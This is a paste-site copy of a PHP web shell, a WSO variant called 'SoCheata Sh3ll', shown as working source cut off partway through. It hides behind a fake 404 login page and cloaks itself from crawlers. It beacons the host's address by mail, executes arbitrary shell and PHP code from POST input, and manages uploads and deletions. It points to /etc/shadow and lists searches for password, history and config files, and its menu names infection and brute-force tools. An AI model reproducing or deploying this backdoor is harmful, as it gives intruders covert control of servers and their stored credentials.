· 8 years ago · Feb 06, 2018, 03:02 AM
1<?php
2$color = "#ff66ff"; //font color #ff0000 red
3$table_color = "#ff4d94"; // table color #00FF66 green
4$icons = "https://3.bp.blogspot.com/-0_Zu9pV2n58/Wm1i4n7vxgI/AAAAAAAAAGc/8Dnfw116Bo89cs_Wh4A0il9AtW9uI4uJQCLcBGAs/s320/black-dz.png";
5$auth_pass = "63a9f0ea7bb98050796b649e85481845"; //root
6$default_action = 'FilesMan';
7$default_use_ajax = true;
8$default_charset = 'Windows-1251';
9
10if(!empty($_SERVER['HTTP_USER_AGENT'])) {
11 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
12 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
13 header('HTTP/1.0 404 Not Found');
14 exit;
15 }
16}
17?>
18
19<?php
20// Login & Set-cookies go-----------------------
21@ini_set('error_log',NULL);
22@ini_set('log_errors',0);
23@ini_set('max_execution_time',0);
24@set_time_limit(0);
25@set_magic_quotes_runtime(0);
26@define('WSO_VERSION', '[7].[0]');
27// Sent to mail go------------------------------
28$time_shell = "".date("d/m/Y - H:i:s")."";
29$ip_remote = $_SERVER["REMOTE_ADDR"];
30$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
31$to_email = '';
32$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])." - ".$_SERVER['HTTP_HOST']."";
33$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
34$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
35@mail($to_email, $server_mail, $linkcr, $header);
36// Sent to mail end-----------------------------
37if(get_magic_quotes_gpc()) {
38 function WSOstripslashes($array) {
39 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
40 }
41 $_POST = WSOstripslashes($_POST);
42 $_COOKIE = WSOstripslashes($_COOKIE);
43}
44/* Login go ------------------------------------
45function wsoLogin() {
46 die("<pre><form method=post><input style=margin:0;background-color:#fff;border:1px solid #fff; type=password name=pass></form></pre>");
47}
48// Login end- ------------------------------------ */
49function WSOsetcookie($k, $v) {
50 $_COOKIE[$k] = $v;
51 setcookie($k, $v);
52}
53function wsoLogin() {
54 ?>
55<title>Object not found!</title>
56<link rev=made href=mailto:you@example.com />
57<style type=text/css>
58 body { color: #000000; background-color: #FFFFFF; }
59 a:link { color: #0000CC; }
60 p, address {margin-left: 3em;}
61 span {font-size: smaller;}
62 input { margin:0;background-color:#fff;border:1px solid #fff; }
63 form {float: right;}
64</style>
65</head>
66<body>
67<form method=post><input type=password name=pass></form>
68<h1>Object not found!</h1>
69<p>The requested URL was not found on this server.If you entered the URL manually please check your spelling and try again.</p><p>If you think this is a server error, please contact the <a href=mailto:you@example.com>webmaster</a>.</p>
70<h2>Error 404</h2>
71<address>
72 <a href=/><?=$_SERVER['HTTP_HOST']?></a><br />
73 <span>Apache/2.4.23 (Unix) OpenSSL/1.0.2h PHP/5.6.24 mod_perl/2.0.8-dev Perl/v5.16.3</span>
74</address>
75</body>
76 <?php
77 exit;
78}
79if(!empty($auth_pass)) {
80 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
81 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
82
83 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
84 wsoLogin();
85}
86// Login & Set-cookies end----------------------
87// Windows or Unix go---------------------------
88if(strtolower(substr(PHP_OS,0,3)) == "win")
89 $os = 'win';
90else
91 $os = 'nix';
92
93$safe_mode = @ini_get('safe_mode');
94if(!$safe_mode)
95 error_reporting(0);
96
97$disable_functions = @ini_get('disable_functions');
98$home_cwd = @getcwd();
99if(isset($_POST['c']))
100 @chdir($_POST['c']);
101$cwd = @getcwd();
102if($os == 'win') {
103 $home_cwd = str_replace("\\", "/", $home_cwd);
104 $cwd = str_replace("\\", "/", $cwd);
105}
106if($cwd[strlen($cwd)-1] != '/')
107 $cwd .= '/';
108
109if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
110 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
111
112if($os == 'win')
113 $aliases = array(
114 "List Directory" => "dir",
115 "Find index.php in current dir" => "dir /s /w /b index.php",
116 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
117 "Show active connections" => "netstat -an",
118 "Show running services" => "net start",
119 "User accounts" => "net user",
120 "Show computers" => "net view",
121 "ARP Table" => "arp -a",
122 "IP Configuration" => "ipconfig /all"
123 );
124else
125 $aliases = array(
126 "List dir" => "ls -lha",
127 "list file attributes on a Linux second extended file system" => "lsattr -va",
128 "show opened ports" => "netstat -an | grep -i listen",
129 "process status" => "ps aux",
130 "Find" => "",
131 "find all suid files" => "find / -type f -perm -04000 -ls",
132 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
133 "find all sgid files" => "find / -type f -perm -02000 -ls",
134 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
135 "find config.inc.php files" => "find / -type f -name config.inc.php",
136 "find config* files" => "find / -type f -name \"config*\"",
137 "find config* files in current dir" => "find . -type f -name \"config*\"",
138 "find all writable folders and files" => "find / -perm -2 -ls",
139 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
140 "find all service.pwd files" => "find / -type f -name service.pwd",
141 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
142 "find all .htpasswd files" => "find / -type f -name .htpasswd",
143 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
144 "find all .bash_history files" => "find / -type f -name .bash_history",
145 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
146 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
147 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
148 "Locate" => "",
149 "locate httpd.conf files" => "locate httpd.conf",
150 "locate vhosts.conf files" => "locate vhosts.conf",
151 "locate proftpd.conf files" => "locate proftpd.conf",
152 "locate psybnc.conf files" => "locate psybnc.conf",
153 "locate my.conf files" => "locate my.conf",
154 "locate admin.php files" =>"locate admin.php",
155 "locate cfg.php files" => "locate cfg.php",
156 "locate conf.php files" => "locate conf.php",
157 "locate config.dat files" => "locate config.dat",
158 "locate config.php files" => "locate config.php",
159 "locate config.inc files" => "locate config.inc",
160 "locate config.inc.php" => "locate config.inc.php",
161 "locate config.default.php files" => "locate config.default.php",
162 "locate config* files " => "locate config",
163 "locate .conf files"=>"locate '.conf'",
164 "locate .pwd files" => "locate '.pwd'",
165 "locate .sql files" => "locate '.sql'",
166 "locate .htpasswd files" => "locate '.htpasswd'",
167 "locate .bash_history files" => "locate '.bash_history'",
168 "locate .mysql_history files" => "locate '.mysql_history'",
169 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
170 "locate backup files" => "locate backup",
171 "locate dump files" => "locate dump",
172 "locate priv files" => "locate priv"
173 );
174// Windows or Unix end----------------------------
175// Shell Header go--------------------------------
176function wsoHeader() {
177 if(empty($_POST['charset']))
178 $_POST['charset'] = $GLOBALS['default_charset'];
179 global $color;
180 global $table_color;
181 global $icons;
182 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>SoCheata Sh3ll " . WSO_VERSION ."</title>
183 <link rel='shortcut icon' href='$icons' type='image/x-icon' />
184<style>
185body{background-color:#444;color:#e1e1e1;}
186body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
187table.info{ color:#fff;background-color:#222; }
188span,h1,a{ color: $color !important; }
189span{ font-weight: bolder; }
190h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
191div.content{ padding: 5px;margin-left:5px;background-color:#333; }
192a{ text-decoration:none; }
193a:hover{ text-decoration:underline; }
194.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
195.bigarea{ width:100%;height:300px; }
196input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
197form{ margin:0px; }
198#toolsTbl{ text-align:center; }
199.toolsInp{ width: 300px }
200.main th{text-align:left;background-color:#5e5e5e;}
201.main tr:hover{background-color:#5e5e5e}
202.l1{background-color:#444}
203.l2{background-color:#333}
204pre{font-family:Courier,Monospace;}
205
206.table_color{border:4px solid $table_color;}
207
208@-moz-keyframes s0cheata {
209 1% {opacity: 0.0;}
210 25% {opacity: 0.3;}
211 50% {opacity: 0.1;}
212 75% {opacity: 0.7;}
213 100 {opacity: 1;}
214}
215@-o-keyframes s0cheata {
216 1% {opacity: 0.0;}
217 25% {opacity: 0.3;}
218 50% {opacity: 0.1;}
219 75% {opacity: 0.7;}
220 100 {opacity: 1;}
221}
222@keyframes s0cheata {
223 1% {opacity: 0.0;}
224 25% {opacity: 0.3;}
225 50% {opacity: 0.1;}
226 75% {opacity: 0.7;}
227 100 {opacity: 1;}
228}
229@-webkit-keyframes s0cheata{
230 1% {opacity: 0.0;}
231 25% {opacity: 0.3;}
232 50% {opacity: 0.1;}
233 75% {opacity: 0.7;}
234 100 {opacity: 1;}
235}
236</style>
237<script>
238 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
239 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
240 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
241 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
242 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
243 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
244 var d = document;
245 function set(a,c,p1,p2,p3,charset) {
246 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
247 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
248 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
249 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
250 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
251 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
252 }
253 function g(a,c,p1,p2,p3,charset) {
254 set(a,c,p1,p2,p3,charset);
255 d.mf.submit();
256 }
257 function a(a,c,p1,p2,p3,charset) {
258 set(a,c,p1,p2,p3,charset);
259 var params = 'ajax=true';
260 for(i=0;i<d.mf.elements.length;i++)
261 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
262 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
263 }
264 function sr(url, params) {
265 if (window.XMLHttpRequest)
266 req = new XMLHttpRequest();
267 else if (window.ActiveXObject)
268 req = new ActiveXObject('Microsoft.XMLHTTP');
269 if (req) {
270 req.onreadystatechange = processReqChange;
271 req.open('POST', url, true);
272 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
273 req.send(params);
274 }
275 }
276 function processReqChange() {
277 if( (req.readyState == 4) )
278 if(req.status == 200) {
279 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
280 var arr=reg.exec(req.responseText);
281 eval(arr[2].substr(0, arr[1]));
282 } else alert('Request error!');
283 }
284</script>
285<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
286<form method=post name=mf style='display:none;'>
287<input type=hidden name=a>
288<input type=hidden name=c>
289<input type=hidden name=p1>
290<input type=hidden name=p2>
291<input type=hidden name=p3>
292<input type=hidden name=charset>
293</form>";
294 $freeSpace = @diskfreespace($GLOBALS['cwd']);
295 $totalSpace = @disk_total_space($GLOBALS['cwd']);
296 $totalSpace = $totalSpace?$totalSpace:1;
297 $release = @php_uname('r');
298 $kernel = @php_uname('s');
299 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
300 if(strpos('Linux', $kernel) !== false)
301 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
302 else
303 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
304 if(!function_exists('posix_getegid')) {
305 $user = @get_current_user();
306 $uid = @getmyuid();
307 $gid = @getmygid();
308 $group = "?";
309 } else {
310 $uid = @posix_getpwuid(posix_geteuid());
311 $gid = @posix_getgrgid(posix_getegid());
312 $user = $uid['name'];
313 $uid = $uid['uid'];
314 $group = $gid['name'];
315 $gid = $gid['gid'];
316 }
317
318 $cwd_links = '';
319 $path = explode("/", $GLOBALS['cwd']);
320 $n=count($path);
321 for($i=0; $i<$n-1; $i++) {
322 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
323 for($j=0; $j<=$i; $j++)
324 $cwd_links .= $path[$j].'/';
325 $cwd_links .= "\")'>".$path[$i]."/</a>";
326 }
327
328 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
329 $opt_charsets = '';
330 foreach($charsets as $item)
331 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
332
333 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Port Scan'=>'PortScanner','Infect'=>'Infect','Safe mode'=>'SafeMode','Sql'=>'Sql','String tools'=>'StringTools','Php'=>'Php','Domains'=>'Domains','Bruteforce'=>'Bruteforce','Network'=>'Network');
334 if(!empty($GLOBALS['auth_pass']))
335 $m['Framer'] = 'Framer';
336 $m['Logout'] = 'Logout';
337 $m['Sh3ll Kill'] = 'SelfRemove';
338 $menu = '';
339 foreach($m as $k => $v)
340 $menu .= '<th style="font-weight: bold;" width="'.(int)(100/count($m)).'%"><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
341
342 $drives = "";
343 if($GLOBALS['os'] == 'win') {
344 foreach(range('c','z') as $drive)
345 if(is_dir($drive.':\\'))
346 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
347 }
348 echo '<table class=table_color style=margin-top:5px; class=info cellpadding=7 cellspacing=0 width=100%><tr><td width=15%><a href="?"><img style="-webkit-animation: s0cheata 1s infinite; -moz-animation: s0cheata 1s infinite; -o-animation: s0cheata 1s infinite; animation: s0cheata 1s infinite;" src="https://4.bp.blogspot.com/-lgaKNOByiCI/V_CS7U647gI/AAAAAAAAAj0/d2I9Gmhn7Nk4auYAZI2x43RVz2JxSvTdgCLcB/s1600/cheata.jpg" alt="Cheata" border=0 width=220px height=150></a></td><td width=10%><br><br><span>Uname<br>User<br>Php<br>Safe mode<br>Datetime<br>Hdd<br>Cwd' . ($GLOBALS['os'] == 'win'?'<br>Drives':'') . '</span></td>'
349
350 . '<td width=50%><center><span><a target=_blank href=https://de.wikipedia.org/wiki/Angkor_Wat><3 CAM [ SoCheata Sh3ll ] BODIA <3</a></span></center><br><nobr>: ' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>: ' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>: ' . @phpversion() . ' - <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a><br>: ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=4dffff><b>OFF</b></font>')
351 . ' <br>: ' . date('Y-m-d H:i:s') . '<br>: ' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>: ' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
352
353 . '<td width=25% align=right><br><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
354 //Main Menu go--------------------
355 . '<table class=table_color style="padding:10px; margin-top:5px; margin-bottom:5px;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table>';
356 //Main Menu end-------------------
357}
358// Shell Header end-------------------------------
359// Shell Footer go--------------------------------
360function wsoFooter() {
361 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='4dffff'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
362 echo "
363<div>
364<table class=table_color class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>
365 <tr>
366 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
367 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
368 </tr><tr>
369 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
370 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
371 </tr><tr>
372 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
373 <td><form method='post' ENCTYPE='multipart/form-data'>
374 <input type=hidden name=a value='FilesMAn'>
375 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
376 <input type=hidden name=p1 value='uploadFile'>
377 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
378 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br></td></tr></table></div><div><table class=table_color style='margin-top:5px;' class=info cellpadding=3 cellspacing=0 width=100%'><tr><td><i style=float:left>Copyright © <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script> by <a style=color:red; target=_blank href=https://web.facebook.com/th1k404/>th1k404</a>, All right reserved.</i><i style=float:right>Create by <a target=_blank href=https://www.google.com/search?q=she+is+my+crush%2C+i+really+love+her.+%3A%29&ie=utf-8&oe=utf-8>SoCheata Bo</a>.</i></td></tr></table></div></div></body></html>";
379}
380// Shell Footer end-------------------------------
381//Shell setting go--------------------------------
382if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
383 function posix_getpwuid($p) {return false;} }
384if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
385 function posix_getgrgid($p) {return false;} }
386
387function wsoEx($in) {
388 $out = '';
389 if (function_exists('exec')) {
390 @exec($in,$out);
391 $out = @join("\n",$out);
392 } elseif (function_exists('passthru')) {
393 ob_start();
394 @passthru($in);
395 $out = ob_get_clean();
396 } elseif (function_exists('system')) {
397 ob_start();
398 @system($in);
399 $out = ob_get_clean();
400 } elseif (function_exists('shell_exec')) {
401 $out = shell_exec($in);
402 } elseif (is_resource($f = @popen($in,"r"))) {
403 $out = "";
404 while(!@feof($f))
405 $out .= fread($f,1024);
406 pclose($f);
407 }
408 return $out;
409}
410
411function wsoViewSize($s) {
412 if($s >= 1073741824)
413 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
414 elseif($s >= 1048576)
415 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
416 elseif($s >= 1024)
417 return sprintf('%1.2f', $s / 1024 ) . ' KB';
418 else
419 return $s . ' B';
420}
421
422function wsoPerms($p) {
423 if (($p & 0xC000) == 0xC000)$i = 's';
424 elseif (($p & 0xA000) == 0xA000)$i = 'l';
425 elseif (($p & 0x8000) == 0x8000)$i = '-';
426 elseif (($p & 0x6000) == 0x6000)$i = 'b';
427 elseif (($p & 0x4000) == 0x4000)$i = 'd';
428 elseif (($p & 0x2000) == 0x2000)$i = 'c';
429 elseif (($p & 0x1000) == 0x1000)$i = 'p';
430 else $i = 'u';
431 $i .= (($p & 0x0100) ? 'r' : '-');
432 $i .= (($p & 0x0080) ? 'w' : '-');
433 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
434 $i .= (($p & 0x0020) ? 'r' : '-');
435 $i .= (($p & 0x0010) ? 'w' : '-');
436 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
437 $i .= (($p & 0x0004) ? 'r' : '-');
438 $i .= (($p & 0x0002) ? 'w' : '-');
439 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
440 return $i;
441}
442
443function wsoPermsColor($f) {
444 if (!@is_readable($f))
445 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
446 elseif (!@is_writable($f))
447 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
448 else
449 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
450}
451
452function wsoScandir($dir) {
453 if(function_exists("scandir")) {
454 return scandir($dir);
455 } else {
456 $dh = opendir($dir);
457 while (false !== ($filename = readdir($dh)))
458 $files[] = $filename;
459 return $files;
460 }
461}
462
463function wsoWhich($p) {
464 $path = wsoEx('which ' . $p);
465 if(!empty($path))
466 return $path;
467 return false;
468}
469function actionRC() {
470 if(!@$_POST['p1']) {
471 $a = array(
472 "uname" => php_uname(),
473 "php_version" => phpversion(),
474 "wso_version" => WSO_VERSION,
475 "safemode" => @ini_get('safe_mode')
476 );
477 echo serialize($a);
478 } else {
479 eval($_POST['p1']);
480 }
481}
482if( empty($_POST['a']) )
483 if(isset($default_action) && function_exists('action' . $default_action))
484 $_POST['a'] = $default_action;
485 else
486 $_POST['a'] = 'SecInfo';
487if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
488 call_user_func('action' . $_POST['a']);
489exit;
490//Shell setting end-----------------------
491//Sec info go-----------------------------
492function actionSecInfo() {
493 wsoHeader();
494 echo '<h1>Server security information</h1><div class=content>';
495 function wsoSecParam($n, $v) {
496 $v = trim($v);
497 if($v) {
498 echo '<span>' . $n . ': </span>';
499 if(strpos($v, "\n") === false)
500 echo $v . '<br>';
501 else
502 echo '<pre class=ml1>' . $v . '</pre>';
503 }
504 }
505
506 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
507 if(function_exists('apache_get_modules'))
508 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
509 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
510 wsoSecParam('Open base dir', @ini_get('open_basedir'));
511 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
512 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
513 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
514 $temp=array();
515 if(function_exists('mysql_get_client_info'))
516 $temp[] = "MySql (".mysql_get_client_info().")";
517 if(function_exists('mssql_connect'))
518 $temp[] = "MSSQL";
519 if(function_exists('pg_connect'))
520 $temp[] = "PostgreSQL";
521 if(function_exists('oci_connect'))
522 $temp[] = "Oracle";
523 wsoSecParam('Supported databases', implode(', ', $temp));
524 echo '<br>';
525
526 if($GLOBALS['os'] == 'nix') {
527 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
528 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
529 wsoSecParam('OS version', @file_get_contents('/proc/version'));
530 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
531 if(!$GLOBALS['safe_mode']) {
532 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
533 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
534 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
535 echo '<br>';
536 $temp=array();
537 foreach ($userful as $item)
538 if(wsoWhich($item))
539 $temp[] = $item;
540 wsoSecParam('Userful', implode(', ',$temp));
541 $temp=array();
542 foreach ($danger as $item)
543 if(wsoWhich($item))
544 $temp[] = $item;
545 wsoSecParam('Danger', implode(', ',$temp));
546 $temp=array();
547 foreach ($downloaders as $item)
548 if(wsoWhich($item))
549 $temp[] = $item;
550 wsoSecParam('Downloaders', implode(', ',$temp));
551 echo '<br/>';
552 wsoSecParam('HDD space', wsoEx('df -h'));
553 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
554 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
555 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
556 $temp = "";
557 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
558 $uid = @posix_getpwuid($_POST['p2']);
559 if ($uid)
560 $temp .= join(':',$uid)."\n";
561 }
562 echo '<br/>';
563 wsoSecParam('Users', $temp);
564 }
565 }
566 } else {
567 wsoSecParam('OS Version',wsoEx('ver'));
568 wsoSecParam('Account Settings',wsoEx('net accounts'));
569 wsoSecParam('User Accounts',wsoEx('net user'));
570 }
571 echo '</div>';
572 wsoFooter();
573}
574//Sec info end----------------------------
575//PHP go----------------------------------
576function actionPhp() {
577 if(isset($_POST['ajax'])) {
578 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
579 ob_start();
580 eval($_POST['p1']);
581 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
582 echo strlen($temp), "\n", $temp;
583 exit;
584 }
585 if(empty($_POST['ajax']) && !empty($_POST['p1']))
586 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
587
588 wsoHeader();
589 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
590 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
591 ob_start();
592 phpinfo();
593 $tmp = ob_get_clean();
594 $tmp = preg_replace(array (
595 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
596 '!td, th {(.*)}!msiU',
597 '!<img[^>]+>!msiU',
598 ), array (
599 '',
600 '.e, .v, .h, .h th {$1}',
601 ''
602 ), $tmp);
603 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
604 }
605 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
606 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
607 if(!empty($_POST['p1'])) {
608 ob_start();
609 eval($_POST['p1']);
610 echo htmlspecialchars(ob_get_clean());
611 }
612 echo '</pre></div>';
613 wsoFooter();
614}
615//PHP end---------------------------------
616//File Manager go-------------------------
617function actionFilesMan() {
618 if (!empty ($_COOKIE['f']))
619 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
620
621 if(!empty($_POST['p1'])) {
622 switch($_POST['p1']) {
623 case 'uploadFile':
624 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
625 echo "Can't upload file!";
626 break;
627 case 'mkdir':
628 if(!@mkdir($_POST['p2']))
629 echo "Can't create new dir";
630 break;
631 case 'delete':
632 function deleteDir($path) {
633 $path = (substr($path,-1)=='/') ? $path:$path.'/';
634 $dh = opendir($path);
635 while ( ($item = readdir($dh) ) !== false) {
636 $item = $path.$item;
637 if ( (basename($item) == "..") || (basename($item) == ".") )
638 continue;
639 $type = filetype($item);
640 if ($type == "dir")
641 deleteDir($item);
642 else
643 @unlink($item);
644 }
645 closedir($dh);
646 @rmdir($path);
647 }
648 if(is_array(@$_POST['f']))
649 foreach($_POST['f'] as $f) {
650 if($f == '..')
651 continue;
652 $f = urldecode($f);
653 if(is_dir($f))
654 deleteDir($f);
655 else
656 @unlink($f);
657 }
658 break;
659 case 'paste':
660 if($_COOKIE['act'] == 'copy') {
661 function copy_paste($c,$s,$d){
662 if(is_dir($c.$s)){
663 mkdir($d.$s);
664 $h = @opendir($c.$s);
665 while (($f = @readdir($h)) !== false)
